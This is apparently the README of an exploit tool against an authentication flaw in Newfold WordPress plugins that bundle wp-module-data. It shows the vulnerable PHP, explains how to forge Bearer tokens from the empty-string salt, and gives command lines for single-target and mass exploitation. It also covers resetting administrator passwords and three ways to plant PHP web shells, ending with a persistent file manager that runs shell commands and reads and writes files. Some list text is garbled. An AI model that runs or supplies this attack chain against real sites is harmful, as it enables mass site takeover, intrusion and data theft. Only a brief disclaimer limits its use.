Newfold plugins (wp-module-data <= 2.9.7) Unauthenticated
Unauthenticated authentication bypass and RCE exploit targeting Newfold WordPress plugins that bundle wp-module-data.
This tool exploits a Bearer token validation flaw in the Newfold wp-module-data module. When a WordPress site using an affected Newfold plugin is not connected to Hiive, HiiveConnection::get_auth_token() returns false. This value is passed through strrev() and then hashed, collapsing the secret salt to the public constant:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Because every other component of the hashed payload (HTTP method, request URL, request body, timestamp) is fully attacker-controlled, a valid Bearer token can be computed offline. The vulnerable filter runs on rest_authentication_errors, so a forged token authenticates the caller as the for the entire WordPress REST API, including core routes. That access is then leveraged into full remote code execution.
| Plugin / Module | Affected Versions | Patched |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
Detection also covers the WordPress.org plugin slugs wp-plugin-web and crazy_blog.
In vendor/newfold-labs/wp-module-data/includes/Data.php:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
On an unconnected site, strrev(false) coerces to strrev('') which yields '', and the salt becomes the well-known hash of the empty string. Every other input to the hash chain is attacker-controlled, so the token is fully predictable.
newfold-data/v1/verify/<hex> REST routeGET /wp/v2/users/me and inspecting roles404.php / index.php.fm.php file manager dropped in the webrootwp-login.php) and classic wp-login.php form loginrequestsurllib3 (optional, only for suppressing TLS warnings)Install dependencies:
pip install requests urllib3
Read-only detection and bypass verification:
python3 exploit.py -u https://target.example
Full chain to a persistent shell:
python3 exploit.py -u https://target.example --mode rce
Reset the first administrator's password instead of creating a new one:
python3 exploit.py -u https://target.example --mode rce --takeover
Check-only across a list of targets:
python3 exploit.py --list targets.txt
Full chain on every vulnerable host (requires explicit opt-in):
python3 exploit.py --list targets.txt --mode rce --apply-rce
Pre-filter using static asset probes before touching the REST API:
python3 exploit.py --list targets.txt --brand-filter
Stop after the first N vulnerable hosts:
python3 exploit.py --list targets.txt --stop-after 5
Resume a previous run:
python3 exploit.py --list targets.txt --resume
| Flag | Description |
|---|---|
-u, --url | Single target base URL |
--list | File containing one target URL per line |
--mode | check (detect only) or rce (full chain); default check |
--takeover | Reset first admin password instead of creating a new admin |
--output | JSONL output path for mass mode; default cve_2026_80099_results.jsonl |
--vuln-list | Bare URL list of vulnerable hosts; default vuln.txt |
--threads | Worker count for mass mode; default 20 |
--timeout | Request timeout in seconds; default 15 |
--fast-timeout | Fast probe timeout in seconds; default 6 |
--retries | Retry attempts per request; default 1 |
--proxy | HTTP(S) proxy URL |
--all-out | Write all mass rows, not only vulnerable ones |
--apply-rce | Run the RCE chain on vulnerable hosts in mass mode |
--brand-filter | Pre-filter using Newfold plugin static assets |
--stop-after | Stop mass scan after N vulnerable hosts; 0 means run all |
--quiet | Disable per-target progress lines |
--resume | Append to output and skip targets already present |
Once an administrator context is confirmed, the tool attempts three techniques in order:
Theme editor shell — writes a small PHP payload to the active theme's 404.php or index.php. The payload is triggered by requesting any non-existent URL (for 404.php) or the site root (for index.php).
Plugin upload shell — builds a ZIP containing a minimal plugin, uploads it via wp-admin/update.php?action=upload-plugin, and accesses the plugin PHP file directly.
Inactive plugin editor chain — lists plugins via the REST API, selects an inactive one, writes a cmd-shell into its main file via plugin-editor.php, activates it via PUT /wp/v2/plugins/<slug>, triggers the shell on any frontend URL, drops .fm.php into the webroot, then deactivates the plugin and restores the original file. This path is designed to survive hosts that block the theme editor, block direct access to wp-content, or revert edits through loopback health checks.
On success, a persistent .fm.php file manager is dropped in the webroot. It supports:
?cmd=<shell command>?cat=<path> to read a file?put=<path>&data=<base64> to write a file?ls=<path> to list a directorycve_2026_80099_results.jsonl — JSONL records for each scanned target. Vulnerable entries include vuln: true, admin, admin_id, and, when RCE succeeds, shell (the URL of the dropped file manager or shell).vuln.txt — one bare URL per line for every vulnerable or shelled target.trust_env = False to avoid leaking mass scans through local proxies.Url::getCurrentUrl() behavior. The request is prepared first and the token is derived from the prepared URL.json_encode default behavior, including escaped forward slashes, \uXXXX non-ASCII escaping, and UTF-16 surrogate pairs for astral characters, so the hashed payload matches byte-for-byte.401 typically means the target is patched (module >= 2.9.8), the site is connected to Hiive (real token, unknown salt), or an intermediary strips the Authorization header. 403 typically indicates another rest_authentication_errors filter interfered.This tool is provided for authorized security testing and research only. Use it exclusively against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions and may result in severe civil and criminal penalties. The author assumes no responsibility for misuse or damage caused by this software.